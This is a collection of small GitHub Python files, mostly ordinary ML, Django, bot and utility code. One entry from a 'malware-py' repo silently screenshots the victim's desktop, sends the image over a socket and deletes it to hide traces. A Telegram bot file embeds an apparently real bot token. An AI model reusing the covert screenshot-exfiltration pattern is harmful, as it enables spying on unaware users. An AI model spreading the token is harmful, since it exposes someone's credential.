+{"seq_id":"70454573313","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom dataset import Dataset, recallK\nimport numpy as np\nimport argparse\n\n\nclass VAE(nn.Module):\n    def __init__(self, input_size, layers, last_layer=None):\n        super(VAE, self).__init__()\n\n        # Encoder\n        sequence = []\n        prev = input_size\n        for layer in layers[:-1]:\n            sequence.append(nn.Linear(prev, layer))\n            sequence.append(nn.Tanh())\n            prev = layer\n        self.encoder = nn.Sequential(*sequence).cuda()\n\n        # z layer\n        self.mu = nn.Sequential(nn.Linear(prev, layers[-1]), nn.Tanh()).cuda()\n        self.logvar = nn.Sequential(nn.Linear(prev, layers[-1]), nn.Tanh()).cuda()\n\n        # Decoder\n        sequence = []\n        layers = layers[::-1]\n        prev = layers[0]\n        for layer in layers[1:]:\n            sequence.append(nn.Linear(prev, layer))\n            sequence.append(nn.Tanh())\n            prev = layer\n        sequence.append(nn.Linear(prev, input_size))\n        # if not last_layer:\n        #     sequence.append(nn.Sigmoid())\n        sequence.append(nn.Tanh())\n\n        self.decoder = nn.Sequential(*sequence).cuda()\n\n    def reparameterize(self, mu, logvar):\n        std = torch.exp(logvar)\n        eps = torch.randn_like(std)\n        return mu + torch.sqrt(std.clamp_min(1e-10)) * eps\n\n    def forward(self, x):\n        encoder = self.encoder(x)\n        mu, logvar = self.mu(encoder), self.logvar(encoder)\n        z = self.reparameterize(mu, logvar)\n        output = self.decoder(z)\n        loss_kl = self.loss_kl(mu, logvar)\n        return output, z, loss_kl\n\n    def loss_kl(self, mu, logvar):\n        return 0.5 * torch.mean(torch.sum(mu.pow(2) + logvar.exp() - logvar - 1, dim=-1))\n\n\nclass MLP(nn.Module):\n    def __init__(self, layers, last_layer=None):\n        super(MLP, self).__init__()\n\n        sequence = []\n        for i in range(1, len(layers)-1):\n            sequence.append(nn.Linear(layers[i-1], layers[i]))\n            sequence.append(nn.ReLU())\n        sequence.append(nn.Linear(layers[-2], layers[-1]))\n        if not last_layer:\n            sequence.append(nn.Sigmoid())\n        else:\n            sequence.append(nn.LogSoftmax())\n        self.net = nn.Sequential(*sequence).cuda()\n\n    def forward(self, x):\n        return self.net(x)\n\n\ndef loss_kl(mu, logvar):\n    return 0.5 * torch.mean(torch.sum(mu.pow(2) + logvar.exp() - logvar - 1, dim=-1))\n\n\ndef loss_recon(x_recon, x):\n    log_var = F.log_softmax(x_recon)\n    neg_ll = -torch.mean(torch.sum(log_var * x, dim=-1))\n    return neg_ll\n\n\n# def train(data, model, op, loss, device):\n#     user_info = torch.from_numpy(data[0]).float().to(device)\n#     item_info = torch.from_numpy(data[1]).float().to(device)\n#     label = torch.from_numpy(data[2]).float().to(device)\n#\n#     # # AutoEncoder - user\n#     op['user'].zero_grad()\n#     user_recon, z_user, loss_kl_user = model['user'](user_info)\n#     loss_user = loss['user'](user_recon, user_info) + 0.01 * loss_kl_user\n#     loss_user.backward()\n#     op['user'].step()\n#\n#     # AutoEncoder - item\n#     op['item'].zero_grad()\n#     item_recon, z_item, loss_kl_item = model['item'](item_info)\n#     loss_item = loss['item'](item_recon, item_info) + 0.01 * loss_kl_item\n#     loss_item.backward()\n#     op['item'].step()\n#\n#     # Predict\n#     op['pred'].zero_grad()\n#     user_recon, z_user, _ = model['user'](user_info)\n#     item_recon, z_item, _ = model['item'](item_info)\n#     # Simplest - Multiple\n#     # pred = torch.sum(z_user * z_item, dim=-1)\n#     # # NeuCF\n#     pred = model['neuCF'](torch.cat([z_user, z_item], -1)).view(-1)\n#     # pred = pred.clamp(0, 5)\n#\n#     # Loss\n#     predict_loss = loss['pred'](pred, label)\n#     predict_loss.backward()\n#     op['pred'].step()\n#     return loss_item.item(),  loss_user.item(), predict_loss.item()\n\ndef train_user(data, model, op, loss, device):\n    user_info = torch.from_numpy(data).float().to(device)\n    op['user'].zero_grad()\n    user_recon, z_user, loss_kl_user = model['user'](user_info)\n    loss_user = loss['user'](user_recon, user_info) + 0.01 * loss_kl_user\n    loss_user.backward()\n    op['user'].step()\n    return loss_user.item()\n\n\ndef train_item(data, model, op, loss, device):\n    item_info = torch.from_numpy(data).float().to(device)\n    op['item'].zero_grad()\n    item_recon, z_item, loss_kl_item = model['item'](item_info)\n    loss_item = loss['item'](item_recon, item_info) + 0.01 * loss_kl_item\n    loss_item.backward()\n    op['item'].step()\n    return loss_item.item()\n\n\ndef train_cf(data, model, op, device):\n    user_transaction = torch.from_numpy(data[0]).float().to(device)\n    # user_info = torch.from_numpy(data[1]).float().to(device)\n    # item_info = torch.from_numpy(data[2]).float().to(device)\n    #\n    # op['pred'].zero_grad()\n    # _, z_user, _ = model['user'](user_info)\n    # _, z_item, _ = model['item'](item_info)\n    #\n    # content_matrix = torch.matmul(z_user, z_item.T)\n    # content_matrix = F.normalize(content_matrix, dim=-1)\n    # transaction = user_transaction * content_matrix\n    trans_recon, _, loss_kl = model['neuCF'](user_transaction)\n    loss = 100 * loss_recon(trans_recon, user_transaction) + 0.1 * loss_kl\n    loss.backward()\n    op['pred'].step()\n\n    return loss.item()\n\n\ndef test(data, model, device, batch_size):\n    with torch.no_grad():\n        user_info = torch.from_numpy(data[0]).float().to(device)\n        item_info = torch.from_numpy(data[1]).float().to(device)\n        user_transaction = torch.from_numpy(data[2]).float().to(device)\n        # user_recon, z_user, _ = model['user'](user_info)\n        # item_recon, z_item, _ = model['item'](item_info)\n        # content_matrix = torch.matmul(z_user, z_item.T)\n        # content_matrix = F.normalize(content_matrix, dim=-1)\n        transaction = user_transaction\n\n        predict = []\n        for i in range(0, len(user_info), batch_size):\n            # pred = torch.matmul(z_user, z_item.T)\n            _, pred, _ = model['neuCF'](transaction[i:i+batch_size])\n            predict.append(pred.cpu().numpy())\n        return np.concatenate(predict)\n\n\ndef main(args):\n    iter = args.iter\n    batch_size = 100\n\n    dataset = Dataset(args.data_dir, args.data_type)\n\n    model = {}\n    model['user'] = VAE(dataset.user_size, [200, 100, 50])\n    model['item'] = VAE(dataset.item_size, [100, 50])\n    model['neuCF'] = VAE(dataset.no_item, [600, 200, 50], nn.LogSoftmax())\n\n    op = {}\n    op['user'] = torch.optim.Adam(model['user'].parameters(), lr=0.01)\n    op['item'] = torch.optim.Adam(model['item'].parameters(), lr=0.01)\n    pred_parameters = list(model['user'].encoder.parameters()) + list(model['user'].mu.parameters()) + \\\n                        list(model['user'].logvar.parameters()) + list(model['item'].encoder.parameters()) + \\\n                      list(model['item'].mu.parameters()) + list(model['item'].logvar.parameters()) + \\\n                      list(model['neuCF'].parameters())\n    op['pred'] = torch.optim.Adam(model['neuCF'].parameters(), lr=1e-4)\n\n    loss = {}\n    loss['pred'] = nn.BCELoss(reduction='sum')\n    loss['item'] = nn.BCELoss()\n    loss['user'] = nn.BCELoss()\n\n    best_result = 0\n    for i in range(iter):\n        loss_user, loss_item, loss_trans = 0, 0, 0\n        # tmp_user = np.random.permutation(range(dataset.no_user))\n        # for i in range(0, dataset.no_user, batch_size):\n        #     loss_user += train_user(dataset.user_info[tmp_user[i:i+batch_size]],\n        #                             model, op, loss, 'cuda')\n        #\n        # tmp_item = np.random.permutation(range(dataset.no_item))\n        # for i in range(0, dataset.no_item, batch_size):\n        #     loss_item += train_item(dataset.item_info[tmp_item[i:i+batch_size]],\n        #                             model, op, loss, 'cuda')\n\n        tmp_user = np.random.permutation(range(dataset.no_user))\n        for i in range(0, dataset.no_user, batch_size):\n            loss_trans += train_cf([dataset.transaction[tmp_user[i:i+batch_size]], dataset.user_info[tmp_user[i:i+batch_size]], dataset.item_info], model, op, 'cuda')\n\n        print(\"Loss user: %f, loss_item: %f, loss_pred: %f \" % (loss_user, loss_item, loss_trans))\n\n        # Test\n        predict = test((dataset.user_info, dataset.item_info, dataset.transaction), model, 'cuda', batch_size)\n        recall = recallK(dataset.train, dataset.test, predict, 10)\n        print(\"Test:　Recall@10: %f \"%(recall))\n        if recall > best_result:\n            best_result = recall\n\n    print(\"Best result: \", best_result)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--data_type', type=str, default='5')\n    parser.add_argument('--data_dir', type=str, default='data/amazon')\n    parser.add_argument('--iter', type=int, default=30)\n    args = parser.parse_args()\n\n    main(args)\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"zakosai/research","sub_path":"new_cf/vae_3.py","file_name":"vae_3.py","file_ext":"py","file_size_in_byte":8863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8720723231","text":"class calculate_tax():\n\n    def __init__(self):\n        self.tax1 = 0.07\n        self.tax2 = 0.23\n\n    def calculate_tax1(self, amount):\n        part_of_result = self.tax1 * amount\n        final_result = amount - part_of_result\n\n        print('Amount before tax is equal {}.'.format(amount))\n        print('Tax amount is equal to {}.'.format(round(part_of_result, 2)))\n        print('Amount after tax is equal to {}'.format(round(final_result, 2)))\n\n    def calculate_tax2(self, amount):\n        part_of_result = self.tax2 * amount\n        final_result = amount - part_of_result\n\n        print('Amount before tax is equal {}.'.format(amount))\n        print('Tax amount is equal to {}.'.format(round(part_of_result, 2)))\n        print('Amount after tax is equal to {}'.format(round(final_result, 2)))\n\nclass calculate_day_salary():\n\n    def __init__(self):\n        self.work_days = 22         # Assumption that we are always working 22 days in month (it's sth like CONST)\n\n    def calculate_salary1(self, cash_per_hour_gross, hours_quantity):\n        # salary per day\n        daily_salary = cash_per_hour_gross * hours_quantity\n        # salary per week\n        weekly_salary = daily_salary * work_days_per_week\n        # salary per month\n        monthly_salary = weekly_salary * work_weeks\n\n        print('Your average daily salary is equal to {} gross.'.format(daily_salary))\n        print('Your average weekly salary is equal to {} gross.'.format(weekly_salary))\n        print('Your average monthly salary is equal to {} gross.'.format(monthly_salary))\n\n\nwork_days_per_week = 5\nwork_weeks = 4\n\n# Creating new instance\nwylicz = calculate_tax()\n# 7% tax calculation\nwylicz.calculate_tax1(100)\nprint('______________________')\n# 23% tax calculation\nwylicz.calculate_tax2(100)\n\nprint('______________________')\n# Creating new instance\nsalary = calculate_day_salary()\n# Check mothly salary\nx = int(input('Pass your hourly salary: '))\ny = int(input('Enter a daily number of hours: '))\n# Calling the function that calculate user requirements\nsalary.calculate_salary1(x, y)\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mwarszczynski/BackEnd","sub_path":"Python/4. Basic/calculate_tax.py","file_name":"calculate_tax.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"34831291786","text":"import fire\n\nfrom nick_derobertis_site.common.cli.create import create_component\n\n\nclass Create:\n\n    def component(self, name: str, output_dir: str = '.'):\n        create_component(name, output_dir=output_dir)\n\n\nif __name__ == '__main__':\n    fire.Fire({\n        'create': Create\n    })","repo_name":"nickderobertis/nick-derobertis-site","sub_path":"nick_derobertis_site/common/cli/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"40349463471","text":"#!/usr/bin/env python\nimport fileinput\nimport math\nimport sys\nimport unicodedata\nJUSTIFICATION = 6 # right-justified\nUTF8 = \"utf-8\"\nCONTROL_CHARACTER_DICT = {\n    \"\\r\": \"CARRIAGE RETURN\",\n    \"\\n\": \"LINE FEED\",\n    \"\\t\": \"TAB\",\n    \"\\0\": \"NULL\",\n}\n\ncharacter_count = 1\nfor line in fileinput.input(openhook=fileinput.hook_encoded(UTF8)):\n    for char in line:\n        if char in CONTROL_CHARACTER_DICT:\n            name = CONTROL_CHARACTER_DICT[char]\n            length = 1\n        else:\n            byte_representation = bytes(char, UTF8)\n            name = unicodedata.name(char, byte_representation)\n            length = len(byte_representation)\n        print(str(character_count+1).rjust(JUSTIFICATION) + \". {name} ({length} byte)\".format(**locals()))\n        character_count += 1\n","repo_name":"geekychandraul/Python","sub_path":"read-utf8.py","file_name":"read-utf8.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73926943871","text":"from telegram import ForceReply, Update\nfrom telegram.ext import (\n    Application,\n    CommandHandler,\n    ContextTypes,\n    MessageHandler,\n    filters,\n)\n\n\nasync def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n    \"\"\"Send a message when the command /start is issued.\"\"\"\n    user = update.effective_user\n    await update.message.reply_html(\n        rf\"Hi {user.mention_html()}!\",\n        reply_markup=ForceReply(selective=True),\n    )\n\n\ndef main() -> None:\n    \"\"\"Start the bot.\"\"\"\n    # Create the Application and pass it your bot's token.\n    application = (\n        Application.builder()\n        .token(\"6505145612:AAEHp6PD32GqZo78HHMWa4Qij-dIiD6xvNw\")\n        .build()\n    )\n\n    # on different commands - answer in Telegram\n    application.add_handler(CommandHandler(\"start\", start))\n\n    # Run the bot until the user presses Ctrl-C\n    application.run_polling(allowed_updates=Update.ALL_TYPES)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Padliwinata/informaticslab-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5857906943","text":"import pytest\n\n@pytest.mark.django_db\ndef test_ad_create(client, user, category):\n    data = { \"author_id\": user.pk,\n            \"category_id\": category.pk,\n            \"name\": \"Котики на продаже1\",\n            \"price\": 4,\n            \"description\": \"Продам Котиков1\",\n            \"is_published\": False,\n            \"image\": None\n                 }\n\n    r = client.post(\"/ad/create/\", data, content_type=\"application/json\")\n\n    assert r.status_code == 200\n    # assert resp.data == {\n    #         \"id\": 1,\n    #         \"name\": \"Котики на продаже1\",\n    #         \"author_id\": user.pk,\n    #         \"price\": 4,\n    #         \"description\": \"Продам Котиков1\",\n    #         \"is_published\": False,\n    #         \"category_id\": category.pk,\n    #         \"image\": None\n    # }","repo_name":"blazkowicz-pnz/hw30","sub_path":"tests/ads/ad_create_test.py","file_name":"ad_create_test.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17374915916","text":"\"\"\"Your task in order to complete this Kata is to write a function which formats a duration, given as a number of seconds,\nin a human-friendly way.\n\nThe function must accept a non-negative integer. If it is zero, it just returns \"now\". Otherwise, the duration is expressed as\na combination of years, days, hours, minutes and seconds.\"\"\"\n\ndef format_duration(seconds):\n    if seconds == 0:\n        return 'now'\n    time = [ seconds // 31536000, seconds % 31536000 // 86400, seconds % 86400 // 3600, seconds % 3600 // 60, seconds % 60]\n    name = ['year', 'day', 'hour', 'minute', 'second']\n    result = [(str(i[0]), i[1]) for i in zip(time, name) if i[0] != 0]\n    result = [item[0] + ' ' + item[1] if int(item[0]) == 1 else item[0] + ' ' + item[1] + 's' for item in result]\n    print(result)\n    return result[-1] if len(result) == 1 else ', '.join(result[:-1]) + ' and ' + result[-1]\n","repo_name":"Yassine-Sebri/competitive-programming","sub_path":"Code-Wars/4 Kyu/Human readable duration format.py","file_name":"Human readable duration format.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44724896420","text":"import pyautogui\nimport os\n\n\ndef capture_screenshot(my_socket):\n    print(\"[+] Taing screenshot\")\n    screenshot = pyautogui.screenshot()\n\n    screenshot_name = \"screenshot.png\"\n\n    screenshot.save(screenshot_name)  # saving it as a file to send\n\n    my_socket.send_file(screenshot_name)\n    print(\"[+] Screenshot sent successfully\")\n\n    os.remove(screenshot_name)  # deleting to cover tracks\n","repo_name":"AtharvaCM/malware-py","sub_path":"client/core/screenshot_client.py","file_name":"screenshot_client.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7410190272","text":"import lldb\nfrom lldbsuite.test.lldbtest import *\nfrom lldbsuite.test.decorators import *\nimport lldbsuite.test.lldbutil as lldbutil\nimport os\nimport unittest2\n\n\nclass TestSwiftExpressionObjCContext(TestBase):\n    mydir = TestBase.compute_mydir(__file__)\n\n    def setUp(self):\n        TestBase.setUp(self)\n\n    @skipUnlessDarwin\n    @swiftTest\n    def test(self):\n        self.build()\n\n        target, _, _, _ = lldbutil.run_to_source_breakpoint(\n            self, \"break here\", lldb.SBFileSpec(\"main.m\"), extra_images=[\"Foo\"]\n        )\n\n        # This is expected to fail because we can't yet import ObjC\n        # modules into a Swift context.\n        self.expect(\n            \"expr -lang Swift -- Bar()\",\n            \"failure\",\n            substrs=[\"cannot find 'Bar'\"],\n            error=True,\n        )\n        self.expect(\n            \"expr -lang Swift -- (1, 2, 3)\",\n            \"context-less swift expression works\",\n            substrs=[\"(Int, Int, Int)\"],\n        )\n","repo_name":"DeNA/DeClang","sub_path":"lldb/test/API/lang/swift/expression/objc_context/TestSwiftExpressionObjCContext.py","file_name":"TestSwiftExpressionObjCContext.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":365,"dataset":"github-code","pt":"60"}
+{"seq_id":"74924098109","text":"\nfrom django.urls import path\nfrom .views import DoctorRegistrationViews, PatientRegistrationViews, LoginView, VerifyEmail, GetUser, RefreshYourToken, LogoutView# MYView\nurlpatterns = [\n    path('Doctor/register/', DoctorRegistrationViews.as_view(), name='doctor-register'),\n    path('Patient/register/', PatientRegistrationViews.as_view(), name='patient-register'),\n    path('login/', LoginView.as_view(), name = \"login\"),\n    path('email-verify/', VerifyEmail.as_view(), name = \"Verify-email\"),\n    path('get_user/',  GetUser.as_view(), name='retrieve user'),\n    path('refresh_your_token/', RefreshYourToken.as_view(), name='Refresh Token'),\n    path('Logout/', LogoutView.as_view(), name='Logout View')\n    # path('me', MYView.as_view(),  name='me')\n]\n","repo_name":"ayoeze191/Hospital-ManageMent","sub_path":"Account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20901909416","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Sep  8 10:11:43 2021\r\n\r\n@author: sense\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\nimport numpy as np\r\n\r\nclass ResBlock(tf.keras.layers.Layer):\r\n    def __init__(self,kernel_size,dil_rate,dim):\r\n        super(ResBlock, self).__init__()\r\n        self.dilated_conv = tf.keras.layers.Conv1D(dim, kernel_size, dilation_rate=dil_rate, padding='same')\r\n        self.conv1d = tf.keras.layers.Conv1D(dim, 1, padding='same')\r\n        \r\n        \r\n    def call(self,tensor):\r\n        x = self.dilated_conv(tensor)\r\n        x = tf.nn.tanh(x)\r\n        \r\n        y = self.dilated_conv(tensor)\r\n        y = tf.nn.sigmoid(y)\r\n        \r\n        out = x * y\r\n        \r\n        out = self.conv1d(out)\r\n        \r\n        return out + tensor, out\r\n        \r\n\r\nclass WaveNetModel(tf.keras.Model):\r\n    def __init__(self,vocab_size,res_kernel_size,dil_rate,res_dim):\r\n        super(WaveNetModel, self).__init__()\r\n        self.conv1 = tf.keras.layers.Conv1D(res_dim, 1, padding='same')\r\n        self.conv2 = tf.keras.layers.Conv1D(res_dim, 1, padding='same')\r\n        self.out_conv = tf.keras.layers.Conv1D(vocab_size, 1, padding='same')\r\n        \r\n        self.resblock1 = ResBlock(res_kernel_size,dil_rate[0],res_dim)\r\n        self.resblock2 = ResBlock(res_kernel_size,dil_rate[1],res_dim)\r\n        self.resblock3 = ResBlock(res_kernel_size,dil_rate[2],res_dim)\r\n        self.resblock4 = ResBlock(res_kernel_size,dil_rate[3],res_dim)\r\n        self.resblock5 = ResBlock(res_kernel_size,dil_rate[4],res_dim)\r\n        \r\n    def call(self,z):\r\n        #print(z.shape)\r\n        #print(z.dtype)\r\n        z = self.conv1(z)\r\n        z = tf.nn.tanh(z)\r\n        \r\n        skip = 0\r\n        for i in range(3):\r\n            z, s = self.resblock1(z)\r\n            skip += s\r\n            z, s = self.resblock2(z)\r\n            skip += s\r\n            z, s = self.resblock3(z)\r\n            skip += s\r\n            z, s = self.resblock4(z)\r\n            skip += s\r\n            z, s = self.resblock5(z)\r\n            skip += s\r\n            \r\n        skip = self.conv2(skip)\r\n        skip = self.out_conv(skip)\r\n        \r\n        return skip\r\n        \r\n        \r\n        ","repo_name":"axe76/Speech-To-Text-Implementations","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34761970321","text":"ENVIRONMENT = 'dev'  ## change to prod to full data processing\nPATH = './data/'\n\nTRIP_DATA_PATH = PATH + 'trip_data'\nTRIP_DATA_SAMPLE_PATH = PATH + 'trip_data_sample'\nTRIP_DATA_GRIDS_PATH = PATH + 'trip_data_grids'\n\nif ENVIRONMENT != 'prod':\n    TRIP_DATA_PATH = TRIP_DATA_SAMPLE_PATH\n\nPICKUP_COLUMN = 'pickup_grid'\nDROPOFF_COLUMN = 'dropoff_grid'\n\nGRID_COLUMNS_MAPPING = {\n    PICKUP_COLUMN: ['pickup_latitude', 'pickup_longitude'],\n    DROPOFF_COLUMN: ['dropoff_latitude', 'dropoff_longitude']\n}\n\nSELECT_COLS = ['pickup_datetime', 'trip_time_in_secs', 'trip_distance']\n","repo_name":"JudahGazit/optimization-course","sub_path":"python_code/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18891376515","text":"# This is a sample Python script.\r\n\r\n# Press Shift+F10 to execute it or replace it with your code.\r\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\r\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\r\nclass pay:\r\n\r\n    def __init__(self):\r\n        self.x = int(input(\"Enter balance on credit card:\"))\r\n        self.y = float(input(\"Enter annual interest rate on credit card: \"))\r\n        self.z = float(input(\"Enter minimum monthly payment on credit card: \"))\r\n\r\n    def Minimumpayment(self):\r\n        counter=[]\r\n\r\n        for i in range (1,13):\r\n\r\n            mmp = self.z * self. x\r\n            ip = (self.y//12) * self.x\r\n            pp = mmp - ip\r\n            rb = self.x - pp\r\n            self.x = rb\r\n            counter.append(mmp)\r\n\r\n\r\n\r\n\r\n            print(\"Month:\",i)\r\n            print(\"Minimum monthly payment\", mmp)\r\n            print(\"Remaining Balance:\",rb)\r\n\r\n\r\n        print(\"Total amount paid: \",sum(counter))\r\n        print(\"Remaining Balance: \",rb)\r\n\r\nclass debtoff:\r\n\r\n    def __init__(self):\r\n        self.x = int(input(\"Enter balance on credit card:\"))\r\n        self.y = float(input(\"Enter annual interest rate on credit card: \"))\r\n        self.z = int(input(\"Enter the number of months have the debt paid off by: \"))\r\n\r\n    def payoff(self):\r\n        n = self.z+1\r\n        pod = self.x / self.z\r\n\r\n        for i in range (0,n):\r\n\r\n            mmp = self.z * self.x\r\n            mip = self.y / self.z\r\n            ubem = self.x * (1 + mip) - mmp\r\n            self.x = ubem\r\n\r\n        print(\"RESULT\")\r\n        print(\"Monthly payment to pay off debt in 1 year: \",pod)\r\n        print(\"Balance: \",ubem)\r\n\r\n\r\n\r\n\r\ng = int(input(\"select 1 or 2:\" ))\r\n\r\n\r\nif g==1:\r\n    a = pay()\r\n    a.pay()\r\nelse:\r\n    b = debtoff()\r\n    b.payoff()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\na=pay()\r\na.Minimumpayment()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"debugged-abh/Object-Oriented-Programming-Problem-set-1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39680180711","text":"from collections import deque\nimport sys \ninput = sys.stdin.readline\n\ngraph = []\nm,n,h = map(int, input().rsplit())\nqueue = deque()\n\nfor i in range(h):\n    box = []\n    for j in range(n):\n        box.append(list(map(int,input().split())))\n        for k in range(m):\n            if box[j][k] == 1:\n                queue.append([i,j,k]) # 높이 세로 가로 \n    graph.append(box)\n\ndx = [-1,1,0,0,0,0]\ndy = [0,0,1,-1,0,0]\ndz = [0,0,0,0,1,-1]\n\ndef bfs(queue):\n    while queue:  \n        x,y,z = queue.popleft()\n        for way in range(6):\n            xx = x + dx[way]\n            yy = y + dy[way]\n            zz = z + dz[way]\n            if  0 <= xx < h and 0 <= yy < n and 0 <= zz < m and graph[xx][yy][zz]== 0:\n                graph[xx][yy][zz] = graph[x][y][z] + 1\n                queue.append((xx,yy,zz))\nbfs(queue)\n\nday = 0\n\nfor i in graph:\n    for j in i:\n        for k in j:\n            if k == 0:\n                print(-1)\n                exit(0)\n        day = max(day,(max(j)))\n\nprint(day-1)","repo_name":"HelloYukyung/problem-solving","sub_path":"Python/Baekjoon/7569.py","file_name":"7569.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38749279390","text":"# This is a sample file for creating your own local_settings.py file\n# This file is not actually used.\nimport os\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n    }\n}\n\nSTATIC_URL = '/static/'\n","repo_name":"josephtoles/hospitals","sub_path":"local_settings_example.py","file_name":"local_settings_example.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"878283785","text":"from typing import Optional, Union\n\nfrom pythonpackages.nqtr.button import Button\nfrom pythonpackages.renpy_utility.renpy_custom_log import *\nfrom pythonpackages.renpy_utility.utility import *\nimport renpy.character as character\n\n# TODO to move in renpy\nDEFAULT_LABEL_TALK = \"nqtr_talk\"\n\n\nclass Conversation(Button):\n    \"\"\"Wiki: https://github.com/DRincs-Productions/NQTR-toolkit/wiki/Conversation-system\"\"\"\n\n    def __init__(\n        self,\n        # only Conversation\n        conversation_background: Optional[str] = None,\n        characters: Optional[\n            Union[list[character.ADVCharacter], character.ADVCharacter]\n        ] = [],\n        # Button\n        name: Optional[str] = None,\n        label_name: Optional[str] = None,\n        button_icon: Optional[str] = None,\n        button_icon_selected: Optional[str] = None,\n        picture_in_background: Optional[str] = None,\n        picture_in_background_selected: Optional[str] = None,\n        xalign: Optional[int] = None,\n        yalign: Optional[int] = None,\n        disabled: Union[bool, str] = False,\n        hidden: Union[bool, str] = False,\n    ):\n        super().__init__(\n            name=name,\n            label_name=label_name,\n            button_icon=button_icon,\n            button_icon_selected=button_icon_selected,\n            picture_in_background=picture_in_background,\n            picture_in_background_selected=picture_in_background_selected,\n            xalign=xalign,\n            yalign=yalign,\n            disabled=disabled,\n            hidden=hidden,\n            default_label_name=DEFAULT_LABEL_TALK,\n        )\n\n        if characters:\n            if isinstance(characters, character.ADVCharacter):\n                characters = [characters]\n        else:\n            characters = []\n        if len(characters) == 0:\n            log_error(\n                f\"Conversation {self.name} has no characters. This not work.\",\n                filename_line=\"pythonpackages/nqtr/action_talk.py:Conversation.__init__\",\n            )\n        self.characters = characters\n        self.conversation_background = conversation_background\n\n    @property\n    def background(self) -> Optional[str]:\n        \"Deprecation: use conversation_background\"\n        return self.conversation_background\n\n    @background.setter\n    def background(self, value: Optional[str]):\n        \"Deprecation: use conversation_background\"\n        self.conversation_background = value\n\n    @property\n    def conversation_background(self) -> Optional[str]:\n        \"Image path shown during a conversation.\"\n        return self._bg\n\n    @conversation_background.setter\n    def conversation_background(self, value: Optional[str]):\n        self._bg = value\n\n    @property\n    def characters(self) -> list[character.ADVCharacter]:\n        \"\"\"List of characters involved in the conversation.\"\"\"\n        return self._characters\n\n    @characters.setter\n    def characters(self, value: list[character.ADVCharacter]):\n        self._characters = value\n\n    @property\n    def character(self) -> Optional[character.ADVCharacter]:\n        \"\"\"The first character involved in the conversation.\"\"\"\n        if len(self.characters) > 0:\n            return self.characters[0]\n        else:\n            return None\n\n    @property\n    def character_icons(self) -> list[str]:\n        \"\"\"List of character icons involved in the conversation.\"\"\"\n        icons: list[str] = []\n        for ch in self.characters:\n            # if ch have a property icon\n            if \"icon\" in ch.who_args and isinstance(ch.who_args[\"icon\"], str):\n                icons.append(ch.who_args[\"icon\"])\n        return icons\n\n    @property\n    def character_icon(self) -> Optional[str]:\n        \"\"\"Returns the first icon of the characters in the commitment.\"\"\"\n        for ch in self.characters:\n            # if ch have a property icon\n            if \"icon\" in ch.who_args and isinstance(ch.who_args[\"icon\"], str):\n                return ch.who_args[\"icon\"]\n        return None\n","repo_name":"DRincs-Productions/NQTR-System","sub_path":"pythonpackages/nqtr/conversation.py","file_name":"conversation.py","file_ext":"py","file_size_in_byte":3975,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
